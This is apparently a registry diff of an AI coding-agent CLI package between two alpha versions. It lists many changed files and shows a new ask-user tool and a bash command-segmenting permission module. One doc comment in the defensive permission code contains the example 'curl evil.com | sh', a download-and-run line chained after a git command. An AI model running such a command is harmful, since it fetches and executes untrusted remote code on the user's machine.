apex-code 0.0.1-alpha.1 → 0.0.1-alpha.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +24 -0
- package/README.md +66 -681
- package/dist/cli/args.d.ts +5 -0
- package/dist/cli/args.d.ts.map +1 -1
- package/dist/cli/args.js +45 -6
- package/dist/cli/args.js.map +1 -1
- package/dist/cli/auth-command.d.ts.map +1 -1
- package/dist/cli/auth-command.js +3 -3
- package/dist/cli/auth-command.js.map +1 -1
- package/dist/cli/cost-command.d.ts +19 -0
- package/dist/cli/cost-command.d.ts.map +1 -0
- package/dist/cli/cost-command.js +107 -0
- package/dist/cli/cost-command.js.map +1 -0
- package/dist/cli/startup-ui.d.ts +1 -1
- package/dist/cli/startup-ui.d.ts.map +1 -1
- package/dist/cli/startup-ui.js +1 -2
- package/dist/cli/startup-ui.js.map +1 -1
- package/dist/cli.d.ts.map +1 -1
- package/dist/cli.js +45 -16
- package/dist/cli.js.map +1 -1
- package/dist/config.d.ts +2 -2
- package/dist/config.d.ts.map +1 -1
- package/dist/config.js +14 -7
- package/dist/config.js.map +1 -1
- package/dist/core/agent-session-runtime.d.ts.map +1 -1
- package/dist/core/agent-session-runtime.js +2 -0
- package/dist/core/agent-session-runtime.js.map +1 -1
- package/dist/core/agent-session-services.d.ts +9 -0
- package/dist/core/agent-session-services.d.ts.map +1 -1
- package/dist/core/agent-session-services.js +30 -4
- package/dist/core/agent-session-services.js.map +1 -1
- package/dist/core/agent-session.d.ts +46 -0
- package/dist/core/agent-session.d.ts.map +1 -1
- package/dist/core/agent-session.js +137 -19
- package/dist/core/agent-session.js.map +1 -1
- package/dist/core/auth-storage.d.ts.map +1 -1
- package/dist/core/auth-storage.js +6 -6
- package/dist/core/auth-storage.js.map +1 -1
- package/dist/core/bash-executor.d.ts.map +1 -1
- package/dist/core/bash-executor.js +1 -1
- package/dist/core/bash-executor.js.map +1 -1
- package/dist/core/context/deferred-schemas.d.ts +92 -0
- package/dist/core/context/deferred-schemas.d.ts.map +1 -0
- package/dist/core/context/deferred-schemas.js +74 -0
- package/dist/core/context/deferred-schemas.js.map +1 -0
- package/dist/core/context/eviction.d.ts +47 -0
- package/dist/core/context/eviction.d.ts.map +1 -0
- package/dist/core/context/eviction.js +83 -0
- package/dist/core/context/eviction.js.map +1 -0
- package/dist/core/context/pipeline.d.ts +90 -0
- package/dist/core/context/pipeline.d.ts.map +1 -0
- package/dist/core/context/pipeline.js +109 -0
- package/dist/core/context/pipeline.js.map +1 -0
- package/dist/core/credential-failover.d.ts +30 -0
- package/dist/core/credential-failover.d.ts.map +1 -0
- package/dist/core/credential-failover.js +46 -0
- package/dist/core/credential-failover.js.map +1 -0
- package/dist/core/credential-pool.d.ts +60 -0
- package/dist/core/credential-pool.d.ts.map +1 -0
- package/dist/core/credential-pool.js +84 -0
- package/dist/core/credential-pool.js.map +1 -0
- package/dist/core/delegation/agents.d.ts +15 -0
- package/dist/core/delegation/agents.d.ts.map +1 -0
- package/dist/core/delegation/agents.js +55 -0
- package/dist/core/delegation/agents.js.map +1 -0
- package/dist/core/delegation/ceiling.d.ts +29 -0
- package/dist/core/delegation/ceiling.d.ts.map +1 -0
- package/dist/core/delegation/ceiling.js +34 -0
- package/dist/core/delegation/ceiling.js.map +1 -0
- package/dist/core/delegation/runtime.d.ts +94 -0
- package/dist/core/delegation/runtime.d.ts.map +1 -0
- package/dist/core/delegation/runtime.js +117 -0
- package/dist/core/delegation/runtime.js.map +1 -0
- package/dist/core/durable-state/daemon.d.ts +37 -0
- package/dist/core/durable-state/daemon.d.ts.map +1 -0
- package/dist/core/durable-state/daemon.js +62 -0
- package/dist/core/durable-state/daemon.js.map +1 -0
- package/dist/core/durable-state/provenance.d.ts +7 -0
- package/dist/core/durable-state/provenance.d.ts.map +1 -0
- package/dist/core/durable-state/provenance.js +24 -0
- package/dist/core/durable-state/provenance.js.map +1 -0
- package/dist/core/durable-state/sqlite.d.ts +84 -0
- package/dist/core/durable-state/sqlite.d.ts.map +1 -0
- package/dist/core/durable-state/sqlite.js +331 -0
- package/dist/core/durable-state/sqlite.js.map +1 -0
- package/dist/core/environment.d.ts +12 -0
- package/dist/core/environment.d.ts.map +1 -0
- package/dist/core/environment.js +69 -0
- package/dist/core/environment.js.map +1 -0
- package/dist/core/evidence-policy.d.ts +17 -0
- package/dist/core/evidence-policy.d.ts.map +1 -0
- package/dist/core/evidence-policy.js +25 -0
- package/dist/core/evidence-policy.js.map +1 -0
- package/dist/core/evidence.d.ts +16 -0
- package/dist/core/evidence.d.ts.map +1 -0
- package/dist/core/evidence.js +51 -0
- package/dist/core/evidence.js.map +1 -0
- package/dist/core/experimental.d.ts.map +1 -1
- package/dist/core/experimental.js +2 -1
- package/dist/core/experimental.js.map +1 -1
- package/dist/core/extensions/types.d.ts +2 -0
- package/dist/core/extensions/types.d.ts.map +1 -1
- package/dist/core/extensions/types.js.map +1 -1
- package/dist/core/index.d.ts +1 -0
- package/dist/core/index.d.ts.map +1 -1
- package/dist/core/index.js +1 -0
- package/dist/core/index.js.map +1 -1
- package/dist/core/model-config.d.ts +8 -0
- package/dist/core/model-config.d.ts.map +1 -1
- package/dist/core/model-config.js +21 -5
- package/dist/core/model-config.js.map +1 -1
- package/dist/core/model-resolver.d.ts +20 -0
- package/dist/core/model-resolver.d.ts.map +1 -1
- package/dist/core/model-resolver.js +59 -0
- package/dist/core/model-resolver.js.map +1 -1
- package/dist/core/model-runtime.d.ts +73 -0
- package/dist/core/model-runtime.d.ts.map +1 -1
- package/dist/core/model-runtime.js +225 -8
- package/dist/core/model-runtime.js.map +1 -1
- package/dist/core/observability/aggregate.d.ts +21 -0
- package/dist/core/observability/aggregate.d.ts.map +1 -0
- package/dist/core/observability/aggregate.js +36 -0
- package/dist/core/observability/aggregate.js.map +1 -0
- package/dist/core/observability/otlp.d.ts +66 -0
- package/dist/core/observability/otlp.d.ts.map +1 -0
- package/dist/core/observability/otlp.js +95 -0
- package/dist/core/observability/otlp.js.map +1 -0
- package/dist/core/package-manager.d.ts.map +1 -1
- package/dist/core/package-manager.js +3 -2
- package/dist/core/package-manager.js.map +1 -1
- package/dist/core/permissions/gate.d.ts +35 -0
- package/dist/core/permissions/gate.d.ts.map +1 -0
- package/dist/core/permissions/gate.js +72 -0
- package/dist/core/permissions/gate.js.map +1 -0
- package/dist/core/permissions/modes.d.ts +18 -0
- package/dist/core/permissions/modes.d.ts.map +1 -0
- package/dist/core/permissions/modes.js +57 -0
- package/dist/core/permissions/modes.js.map +1 -0
- package/dist/core/permissions/responder.d.ts +30 -0
- package/dist/core/permissions/responder.d.ts.map +1 -0
- package/dist/core/permissions/responder.js +32 -0
- package/dist/core/permissions/responder.js.map +1 -0
- package/dist/core/permissions/rules.d.ts +34 -0
- package/dist/core/permissions/rules.d.ts.map +1 -0
- package/dist/core/permissions/rules.js +74 -0
- package/dist/core/permissions/rules.js.map +1 -0
- package/dist/core/permissions/startup.d.ts +33 -0
- package/dist/core/permissions/startup.d.ts.map +1 -0
- package/dist/core/permissions/startup.js +55 -0
- package/dist/core/permissions/startup.js.map +1 -0
- package/dist/core/permissions/store.d.ts +114 -0
- package/dist/core/permissions/store.d.ts.map +1 -0
- package/dist/core/permissions/store.js +229 -0
- package/dist/core/permissions/store.js.map +1 -0
- package/dist/core/project-trust.d.ts.map +1 -1
- package/dist/core/project-trust.js +1 -1
- package/dist/core/project-trust.js.map +1 -1
- package/dist/core/provider-attribution.d.ts.map +1 -1
- package/dist/core/provider-attribution.js +6 -7
- package/dist/core/provider-attribution.js.map +1 -1
- package/dist/core/remote-catalog-provider.d.ts +2 -2
- package/dist/core/remote-catalog-provider.d.ts.map +1 -1
- package/dist/core/remote-catalog-provider.js +20 -16
- package/dist/core/remote-catalog-provider.js.map +1 -1
- package/dist/core/sandbox/child-entry.d.ts +2 -0
- package/dist/core/sandbox/child-entry.d.ts.map +1 -0
- package/dist/core/sandbox/child-entry.js +11 -0
- package/dist/core/sandbox/child-entry.js.map +1 -0
- package/dist/core/sandbox/cli-launch.d.ts +27 -0
- package/dist/core/sandbox/cli-launch.d.ts.map +1 -0
- package/dist/core/sandbox/cli-launch.js +133 -0
- package/dist/core/sandbox/cli-launch.js.map +1 -0
- package/dist/core/sandbox/cli-supervisor.d.ts +25 -0
- package/dist/core/sandbox/cli-supervisor.d.ts.map +1 -0
- package/dist/core/sandbox/cli-supervisor.js +57 -0
- package/dist/core/sandbox/cli-supervisor.js.map +1 -0
- package/dist/core/sandbox/linux-backend.d.ts +18 -0
- package/dist/core/sandbox/linux-backend.d.ts.map +1 -0
- package/dist/core/sandbox/linux-backend.js +186 -0
- package/dist/core/sandbox/linux-backend.js.map +1 -0
- package/dist/core/sandbox/macos-backend.d.ts +18 -0
- package/dist/core/sandbox/macos-backend.d.ts.map +1 -0
- package/dist/core/sandbox/macos-backend.js +195 -0
- package/dist/core/sandbox/macos-backend.js.map +1 -0
- package/dist/core/sandbox/network-proxy.d.ts +19 -0
- package/dist/core/sandbox/network-proxy.d.ts.map +1 -0
- package/dist/core/sandbox/network-proxy.js +79 -0
- package/dist/core/sandbox/network-proxy.js.map +1 -0
- package/dist/core/sandbox/policy.d.ts +32 -0
- package/dist/core/sandbox/policy.d.ts.map +1 -0
- package/dist/core/sandbox/policy.js +38 -0
- package/dist/core/sandbox/policy.js.map +1 -0
- package/dist/core/sandbox/supervisor.d.ts +31 -0
- package/dist/core/sandbox/supervisor.d.ts.map +1 -0
- package/dist/core/sandbox/supervisor.js +18 -0
- package/dist/core/sandbox/supervisor.js.map +1 -0
- package/dist/core/sandbox/violations.d.ts +23 -0
- package/dist/core/sandbox/violations.d.ts.map +1 -0
- package/dist/core/sandbox/violations.js +30 -0
- package/dist/core/sandbox/violations.js.map +1 -0
- package/dist/core/sdk.d.ts +20 -36
- package/dist/core/sdk.d.ts.map +1 -1
- package/dist/core/sdk.js +129 -2
- package/dist/core/sdk.js.map +1 -1
- package/dist/core/session-manager.d.ts +41 -2
- package/dist/core/session-manager.d.ts.map +1 -1
- package/dist/core/session-manager.js +57 -0
- package/dist/core/session-manager.js.map +1 -1
- package/dist/core/session-share.d.ts +16 -0
- package/dist/core/session-share.d.ts.map +1 -0
- package/dist/core/session-share.js +22 -0
- package/dist/core/session-share.js.map +1 -0
- package/dist/core/settings-manager.d.ts +38 -9
- package/dist/core/settings-manager.d.ts.map +1 -1
- package/dist/core/settings-manager.js +39 -24
- package/dist/core/settings-manager.js.map +1 -1
- package/dist/core/system-prompt.d.ts.map +1 -1
- package/dist/core/system-prompt.js +5 -5
- package/dist/core/system-prompt.js.map +1 -1
- package/dist/core/timings.d.ts +1 -1
- package/dist/core/timings.d.ts.map +1 -1
- package/dist/core/timings.js +3 -2
- package/dist/core/timings.js.map +1 -1
- package/dist/core/tools/ask-user.d.ts +25 -0
- package/dist/core/tools/ask-user.d.ts.map +1 -0
- package/dist/core/tools/ask-user.js +49 -0
- package/dist/core/tools/ask-user.js.map +1 -0
- package/dist/core/tools/bash-command-segments.d.ts +22 -0
- package/dist/core/tools/bash-command-segments.d.ts.map +1 -0
- package/dist/core/tools/bash-command-segments.js +128 -0
- package/dist/core/tools/bash-command-segments.js.map +1 -0
- package/dist/core/tools/bash.d.ts +26 -3
- package/dist/core/tools/bash.d.ts.map +1 -1
- package/dist/core/tools/bash.js +105 -16
- package/dist/core/tools/bash.js.map +1 -1
- package/dist/core/tools/contract.d.ts +156 -0
- package/dist/core/tools/contract.d.ts.map +1 -0
- package/dist/core/tools/contract.js +48 -0
- package/dist/core/tools/contract.js.map +1 -0
- package/dist/core/tools/delegate.d.ts +38 -0
- package/dist/core/tools/delegate.d.ts.map +1 -0
- package/dist/core/tools/delegate.js +66 -0
- package/dist/core/tools/delegate.js.map +1 -0
- package/dist/core/tools/edit.d.ts +2 -2
- package/dist/core/tools/edit.d.ts.map +1 -1
- package/dist/core/tools/edit.js +24 -0
- package/dist/core/tools/edit.js.map +1 -1
- package/dist/core/tools/find.d.ts +2 -2
- package/dist/core/tools/find.d.ts.map +1 -1
- package/dist/core/tools/find.js +12 -0
- package/dist/core/tools/find.js.map +1 -1
- package/dist/core/tools/grep.d.ts +2 -2
- package/dist/core/tools/grep.d.ts.map +1 -1
- package/dist/core/tools/grep.js +12 -0
- package/dist/core/tools/grep.js.map +1 -1
- package/dist/core/tools/index.d.ts +29 -4
- package/dist/core/tools/index.d.ts.map +1 -1
- package/dist/core/tools/index.js +118 -2
- package/dist/core/tools/index.js.map +1 -1
- package/dist/core/tools/ls.d.ts +2 -2
- package/dist/core/tools/ls.d.ts.map +1 -1
- package/dist/core/tools/ls.js +12 -0
- package/dist/core/tools/ls.js.map +1 -1
- package/dist/core/tools/output-accumulator.d.ts.map +1 -1
- package/dist/core/tools/output-accumulator.js +1 -1
- package/dist/core/tools/output-accumulator.js.map +1 -1
- package/dist/core/tools/path-permission.d.ts +18 -0
- package/dist/core/tools/path-permission.d.ts.map +1 -0
- package/dist/core/tools/path-permission.js +28 -0
- package/dist/core/tools/path-permission.js.map +1 -0
- package/dist/core/tools/plan-present.d.ts +27 -0
- package/dist/core/tools/plan-present.d.ts.map +1 -0
- package/dist/core/tools/plan-present.js +55 -0
- package/dist/core/tools/plan-present.js.map +1 -0
- package/dist/core/tools/read.d.ts +2 -2
- package/dist/core/tools/read.d.ts.map +1 -1
- package/dist/core/tools/read.js +12 -0
- package/dist/core/tools/read.js.map +1 -1
- package/dist/core/tools/test.d.ts +34 -0
- package/dist/core/tools/test.d.ts.map +1 -0
- package/dist/core/tools/test.js +75 -0
- package/dist/core/tools/test.js.map +1 -0
- package/dist/core/tools/todo-write.d.ts +31 -0
- package/dist/core/tools/todo-write.d.ts.map +1 -0
- package/dist/core/tools/todo-write.js +51 -0
- package/dist/core/tools/todo-write.js.map +1 -0
- package/dist/core/tools/tool-definition-wrapper.d.ts +13 -2
- package/dist/core/tools/tool-definition-wrapper.d.ts.map +1 -1
- package/dist/core/tools/tool-definition-wrapper.js +11 -1
- package/dist/core/tools/tool-definition-wrapper.js.map +1 -1
- package/dist/core/tools/tool-schema.d.ts +22 -0
- package/dist/core/tools/tool-schema.d.ts.map +1 -0
- package/dist/core/tools/tool-schema.js +45 -0
- package/dist/core/tools/tool-schema.js.map +1 -0
- package/dist/core/tools/web-fetch.d.ts +26 -0
- package/dist/core/tools/web-fetch.d.ts.map +1 -0
- package/dist/core/tools/web-fetch.js +62 -0
- package/dist/core/tools/web-fetch.js.map +1 -0
- package/dist/core/tools/web-search.d.ts +26 -0
- package/dist/core/tools/web-search.d.ts.map +1 -0
- package/dist/core/tools/web-search.js +53 -0
- package/dist/core/tools/web-search.js.map +1 -0
- package/dist/core/tools/write.d.ts +6 -2
- package/dist/core/tools/write.d.ts.map +1 -1
- package/dist/core/tools/write.js +32 -1
- package/dist/core/tools/write.js.map +1 -1
- package/dist/core/usage-performance-store.d.ts +56 -0
- package/dist/core/usage-performance-store.d.ts.map +1 -0
- package/dist/core/usage-performance-store.js +85 -0
- package/dist/core/usage-performance-store.js.map +1 -0
- package/dist/index.d.ts +1 -0
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +1 -0
- package/dist/index.js.map +1 -1
- package/dist/main.d.ts.map +1 -1
- package/dist/main.js +48 -6
- package/dist/main.js.map +1 -1
- package/dist/migrations.d.ts.map +1 -1
- package/dist/migrations.js +2 -2
- package/dist/migrations.js.map +1 -1
- package/dist/modes/interactive/components/config-selector.d.ts.map +1 -1
- package/dist/modes/interactive/components/config-selector.js +9 -6
- package/dist/modes/interactive/components/config-selector.js.map +1 -1
- package/dist/modes/interactive/components/first-time-setup.d.ts +1 -4
- package/dist/modes/interactive/components/first-time-setup.d.ts.map +1 -1
- package/dist/modes/interactive/components/first-time-setup.js +11 -39
- package/dist/modes/interactive/components/first-time-setup.js.map +1 -1
- package/dist/modes/interactive/components/footer.d.ts +8 -1
- package/dist/modes/interactive/components/footer.d.ts.map +1 -1
- package/dist/modes/interactive/components/footer.js +49 -20
- package/dist/modes/interactive/components/footer.js.map +1 -1
- package/dist/modes/interactive/components/settings-selector.d.ts +2 -2
- package/dist/modes/interactive/components/settings-selector.d.ts.map +1 -1
- package/dist/modes/interactive/components/settings-selector.js +6 -6
- package/dist/modes/interactive/components/settings-selector.js.map +1 -1
- package/dist/modes/interactive/components/tool-execution.d.ts +2 -1
- package/dist/modes/interactive/components/tool-execution.d.ts.map +1 -1
- package/dist/modes/interactive/components/tool-execution.js.map +1 -1
- package/dist/modes/interactive/external-editor.d.ts.map +1 -1
- package/dist/modes/interactive/external-editor.js +58 -9
- package/dist/modes/interactive/external-editor.js.map +1 -1
- package/dist/modes/interactive/interactive-mode.d.ts +2 -3
- package/dist/modes/interactive/interactive-mode.d.ts.map +1 -1
- package/dist/modes/interactive/interactive-mode.js +92 -104
- package/dist/modes/interactive/interactive-mode.js.map +1 -1
- package/dist/modes/interactive/theme/theme-schema.json +2 -2
- package/dist/package-manager-cli.d.ts.map +1 -1
- package/dist/package-manager-cli.js +15 -10
- package/dist/package-manager-cli.js.map +1 -1
- package/dist/rpc-entry.d.ts.map +1 -1
- package/dist/rpc-entry.js +2 -1
- package/dist/rpc-entry.js.map +1 -1
- package/dist/server/create-harness.d.ts +1 -1
- package/dist/server/create-harness.d.ts.map +1 -1
- package/dist/server/create-harness.js +6 -5
- package/dist/server/create-harness.js.map +1 -1
- package/dist/testing/replay/metrics.d.ts +24 -0
- package/dist/testing/replay/metrics.d.ts.map +1 -0
- package/dist/testing/replay/metrics.js +35 -0
- package/dist/testing/replay/metrics.js.map +1 -0
- package/dist/testing/replay/recorded-provider.d.ts +10 -0
- package/dist/testing/replay/recorded-provider.d.ts.map +1 -0
- package/dist/testing/replay/recorded-provider.js +108 -0
- package/dist/testing/replay/recorded-provider.js.map +1 -0
- package/dist/testing/replay/runner.d.ts +56 -0
- package/dist/testing/replay/runner.d.ts.map +1 -0
- package/dist/testing/replay/runner.js +406 -0
- package/dist/testing/replay/runner.js.map +1 -0
- package/dist/utils/apex-code-user-agent.d.ts +2 -0
- package/dist/utils/apex-code-user-agent.d.ts.map +1 -0
- package/dist/utils/apex-code-user-agent.js +5 -0
- package/dist/utils/apex-code-user-agent.js.map +1 -0
- package/dist/utils/clipboard-image.d.ts.map +1 -1
- package/dist/utils/clipboard-image.js +1 -1
- package/dist/utils/clipboard-image.js.map +1 -1
- package/dist/utils/tools-manager.d.ts +32 -0
- package/dist/utils/tools-manager.d.ts.map +1 -1
- package/dist/utils/tools-manager.js +198 -100
- package/dist/utils/tools-manager.js.map +1 -1
- package/dist/utils/version-check.d.ts +5 -5
- package/dist/utils/version-check.d.ts.map +1 -1
- package/dist/utils/version-check.js +23 -14
- package/dist/utils/version-check.js.map +1 -1
- package/dist/utils/windows-self-update.d.ts.map +1 -1
- package/dist/utils/windows-self-update.js +1 -1
- package/dist/utils/windows-self-update.js.map +1 -1
- package/docs/compaction.md +21 -21
- package/docs/containerization.md +24 -21
- package/docs/custom-provider.md +9 -9
- package/docs/development.md +11 -11
- package/docs/environment-variables.md +36 -77
- package/docs/extensions.md +47 -47
- package/docs/index.md +12 -24
- package/docs/json.md +6 -6
- package/docs/keybindings.md +3 -3
- package/docs/llama-cpp.md +7 -7
- package/docs/models.md +11 -11
- package/docs/packages.md +46 -42
- package/docs/prompt-templates.md +3 -3
- package/docs/providers.md +10 -10
- package/docs/quickstart.md +49 -32
- package/docs/rpc.md +11 -11
- package/docs/sdk.md +4 -4
- package/docs/security.md +18 -18
- package/docs/session-format.md +9 -9
- package/docs/sessions.md +13 -13
- package/docs/settings.md +10 -14
- package/docs/shell-aliases.md +1 -1
- package/docs/skills.md +8 -8
- package/docs/terminal-setup.md +12 -12
- package/docs/termux.md +4 -4
- package/docs/themes.md +8 -8
- package/docs/tmux.md +4 -4
- package/docs/tui.md +3 -3
- package/docs/usage.md +54 -51
- package/docs/windows.md +1 -1
- package/npm-shrinkwrap.json +5 -5
- package/package.json +2 -3
- package/dist/core/telemetry.d.ts +0 -3
- package/dist/core/telemetry.d.ts.map +0 -1
- package/dist/core/telemetry.js +0 -9
- package/dist/core/telemetry.js.map +0 -1
- package/dist/utils/pi-user-agent.d.ts +0 -2
- package/dist/utils/pi-user-agent.d.ts.map +0 -1
- package/dist/utils/pi-user-agent.js +0 -5
- package/dist/utils/pi-user-agent.js.map +0 -1
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
import { Type } from "typebox";
|
|
2
|
+
import { wrapToolDefinition } from "./tool-definition-wrapper.js";
|
|
3
|
+
const askUserSchema = Type.Object({
|
|
4
|
+
question: Type.String({ description: "The question to ask the user." }),
|
|
5
|
+
options: Type.Array(Type.String(), { description: "The choices to present to the user." }),
|
|
6
|
+
});
|
|
7
|
+
function formatAnswer(answer) {
|
|
8
|
+
return answer !== undefined ? `User selected: ${answer}` : "User did not answer (question was dismissed).";
|
|
9
|
+
}
|
|
10
|
+
/**
|
|
11
|
+
* The `ui` capability's first implementor: a structured question presented through
|
|
12
|
+
* the same `ctx.ui` extensions already use (`ExtensionUIContext.select`). Headless
|
|
13
|
+
* sessions (`--print`, JSON, RPC without a bound UI) install a no-op `ui` whose
|
|
14
|
+
* `select` silently resolves `undefined` -- indistinguishable from a user dismissing
|
|
15
|
+
* the question unless this checks `ctx.hasUI` first and fails closed instead.
|
|
16
|
+
*/
|
|
17
|
+
export function createAskUserToolDefinition() {
|
|
18
|
+
return {
|
|
19
|
+
name: "ask_user",
|
|
20
|
+
label: "ask_user",
|
|
21
|
+
description: "Ask the user a structured question with a fixed set of options and wait for their answer.",
|
|
22
|
+
parameters: askUserSchema,
|
|
23
|
+
contract: {
|
|
24
|
+
capabilities: new Set(["ui"]),
|
|
25
|
+
permission: {
|
|
26
|
+
defaultBehavior: "allow",
|
|
27
|
+
matches: () => false,
|
|
28
|
+
describe: () => "Asking the user a question",
|
|
29
|
+
ruleForCall: () => null,
|
|
30
|
+
},
|
|
31
|
+
context: { resultRecoverable: false, deferSchema: true },
|
|
32
|
+
evidence: { emits: new Set(), capture: () => [] },
|
|
33
|
+
},
|
|
34
|
+
async execute(_toolCallId, { question, options }, _signal, _onUpdate, ctx) {
|
|
35
|
+
if (!ctx?.hasUI) {
|
|
36
|
+
throw new Error("ask_user requires interactive UI, which is not available in this session (headless mode).");
|
|
37
|
+
}
|
|
38
|
+
const answer = await ctx.ui.select(question, options);
|
|
39
|
+
return {
|
|
40
|
+
content: [{ type: "text", text: formatAnswer(answer) }],
|
|
41
|
+
details: { question, answer },
|
|
42
|
+
};
|
|
43
|
+
},
|
|
44
|
+
};
|
|
45
|
+
}
|
|
46
|
+
export function createAskUserTool() {
|
|
47
|
+
return wrapToolDefinition(createAskUserToolDefinition());
|
|
48
|
+
}
|
|
49
|
+
//# sourceMappingURL=ask-user.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"ask-user.js","sourceRoot":"","sources":["../../../src/core/tools/ask-user.ts"],"names":[],"mappings":"AACA,OAAO,EAAe,IAAI,EAAE,MAAM,SAAS,CAAC;AAE5C,OAAO,EAAE,kBAAkB,EAAE,MAAM,8BAA8B,CAAC;AAElE,MAAM,aAAa,GAAG,IAAI,CAAC,MAAM,CAAC;IACjC,QAAQ,EAAE,IAAI,CAAC,MAAM,CAAC,EAAE,WAAW,EAAE,+BAA+B,EAAE,CAAC;IACvE,OAAO,EAAE,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,MAAM,EAAE,EAAE,EAAE,WAAW,EAAE,qCAAqC,EAAE,CAAC;CAC1F,CAAC,CAAC;AASH,SAAS,YAAY,CAAC,MAA0B,EAAU;IACzD,OAAO,MAAM,KAAK,SAAS,CAAC,CAAC,CAAC,kBAAkB,MAAM,EAAE,CAAC,CAAC,CAAC,+CAA+C,CAAC;AAAA,CAC3G;AAED;;;;;;GAMG;AACH,MAAM,UAAU,2BAA2B,GAA6D;IACvG,OAAO;QACN,IAAI,EAAE,UAAU;QAChB,KAAK,EAAE,UAAU;QACjB,WAAW,EAAE,2FAA2F;QACxG,UAAU,EAAE,aAAa;QACzB,QAAQ,EAAE;YACT,YAAY,EAAE,IAAI,GAAG,CAAC,CAAC,IAAI,CAAC,CAAC;YAC7B,UAAU,EAAE;gBACX,eAAe,EAAE,OAAO;gBACxB,OAAO,EAAE,GAAG,EAAE,CAAC,KAAK;gBACpB,QAAQ,EAAE,GAAG,EAAE,CAAC,4BAA4B;gBAC5C,WAAW,EAAE,GAAG,EAAE,CAAC,IAAI;aACvB;YACD,OAAO,EAAE,EAAE,iBAAiB,EAAE,KAAK,EAAE,WAAW,EAAE,IAAI,EAAE;YACxD,QAAQ,EAAE,EAAE,KAAK,EAAE,IAAI,GAAG,EAAE,EAAE,OAAO,EAAE,GAAG,EAAE,CAAC,EAAE,EAAE;SACjD;QACD,KAAK,CAAC,OAAO,CACZ,WAAW,EACX,EAAE,QAAQ,EAAE,OAAO,EAAgB,EACnC,OAAO,EACP,SAAS,EACT,GAAG,EACwC;YAC3C,IAAI,CAAC,GAAG,EAAE,KAAK,EAAE,CAAC;gBACjB,MAAM,IAAI,KAAK,CACd,2FAA2F,CAC3F,CAAC;YACH,CAAC;YACD,MAAM,MAAM,GAAG,MAAM,GAAG,CAAC,EAAE,CAAC,MAAM,CAAC,QAAQ,EAAE,OAAO,CAAC,CAAC;YACtD,OAAO;gBACN,OAAO,EAAE,CAAC,EAAE,IAAI,EAAE,MAAM,EAAE,IAAI,EAAE,YAAY,CAAC,MAAM,CAAC,EAAE,CAAC;gBACvD,OAAO,EAAE,EAAE,QAAQ,EAAE,MAAM,EAAE;aAC7B,CAAC;QAAA,CACF;KACD,CAAC;AAAA,CACF;AAED,MAAM,UAAU,iBAAiB,GAAG;IACnC,OAAO,kBAAkB,CAAC,2BAA2B,EAAE,CAAC,CAAC;AAAA,CACzD","sourcesContent":["import type { AgentToolResult } from \"apex-code-agent-core\";\nimport { type Static, Type } from \"typebox\";\nimport type { ApexToolDefinition } from \"./contract.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\n\nconst askUserSchema = Type.Object({\n\tquestion: Type.String({ description: \"The question to ask the user.\" }),\n\toptions: Type.Array(Type.String(), { description: \"The choices to present to the user.\" }),\n});\n\nexport type AskUserInput = Static<typeof askUserSchema>;\n\nexport interface AskUserDetails {\n\tquestion: string;\n\tanswer: string | undefined;\n}\n\nfunction formatAnswer(answer: string | undefined): string {\n\treturn answer !== undefined ? `User selected: ${answer}` : \"User did not answer (question was dismissed).\";\n}\n\n/**\n * The `ui` capability's first implementor: a structured question presented through\n * the same `ctx.ui` extensions already use (`ExtensionUIContext.select`). Headless\n * sessions (`--print`, JSON, RPC without a bound UI) install a no-op `ui` whose\n * `select` silently resolves `undefined` -- indistinguishable from a user dismissing\n * the question unless this checks `ctx.hasUI` first and fails closed instead.\n */\nexport function createAskUserToolDefinition(): ApexToolDefinition<typeof askUserSchema, AskUserDetails> {\n\treturn {\n\t\tname: \"ask_user\",\n\t\tlabel: \"ask_user\",\n\t\tdescription: \"Ask the user a structured question with a fixed set of options and wait for their answer.\",\n\t\tparameters: askUserSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"ui\"]),\n\t\t\tpermission: {\n\t\t\t\tdefaultBehavior: \"allow\",\n\t\t\t\tmatches: () => false,\n\t\t\t\tdescribe: () => \"Asking the user a question\",\n\t\t\t\truleForCall: () => null,\n\t\t\t},\n\t\t\tcontext: { resultRecoverable: false, deferSchema: true },\n\t\t\tevidence: { emits: new Set(), capture: () => [] },\n\t\t},\n\t\tasync execute(\n\t\t\t_toolCallId,\n\t\t\t{ question, options }: AskUserInput,\n\t\t\t_signal,\n\t\t\t_onUpdate,\n\t\t\tctx,\n\t\t): Promise<AgentToolResult<AskUserDetails>> {\n\t\t\tif (!ctx?.hasUI) {\n\t\t\t\tthrow new Error(\n\t\t\t\t\t\"ask_user requires interactive UI, which is not available in this session (headless mode).\",\n\t\t\t\t);\n\t\t\t}\n\t\t\tconst answer = await ctx.ui.select(question, options);\n\t\t\treturn {\n\t\t\t\tcontent: [{ type: \"text\", text: formatAnswer(answer) }],\n\t\t\t\tdetails: { question, answer },\n\t\t\t};\n\t\t},\n\t};\n}\n\nexport function createAskUserTool() {\n\treturn wrapToolDefinition(createAskUserToolDefinition());\n}\n"]}
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Decomposes a bash command string into the individual commands a shell would
|
|
3
|
+
* actually run, for permission matching (ADR 0004). A rule authorizes a chained
|
|
4
|
+
* command only if every resulting segment matches — so a narrow rule like
|
|
5
|
+
* `git commit:*` can never authorize `git commit -m x && curl evil.com | sh`.
|
|
6
|
+
*
|
|
7
|
+
* Classification is deliberately conservative: any construct the tokenizer does
|
|
8
|
+
* not fully model — command substitution, backticks, process substitution, an
|
|
9
|
+
* unterminated quote — returns "unparseable" rather than a partial or best-effort
|
|
10
|
+
* segment list. A caller must never treat "unparseable" as "no segments" (which
|
|
11
|
+
* would vacuously authorize the call); it must resolve to `ask`.
|
|
12
|
+
*/
|
|
13
|
+
export type BashCommandClassification = {
|
|
14
|
+
type: "empty";
|
|
15
|
+
} | {
|
|
16
|
+
type: "unparseable";
|
|
17
|
+
} | {
|
|
18
|
+
type: "segments";
|
|
19
|
+
segments: readonly string[];
|
|
20
|
+
};
|
|
21
|
+
export declare function classifyBashCommand(command: string): BashCommandClassification;
|
|
22
|
+
//# sourceMappingURL=bash-command-segments.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
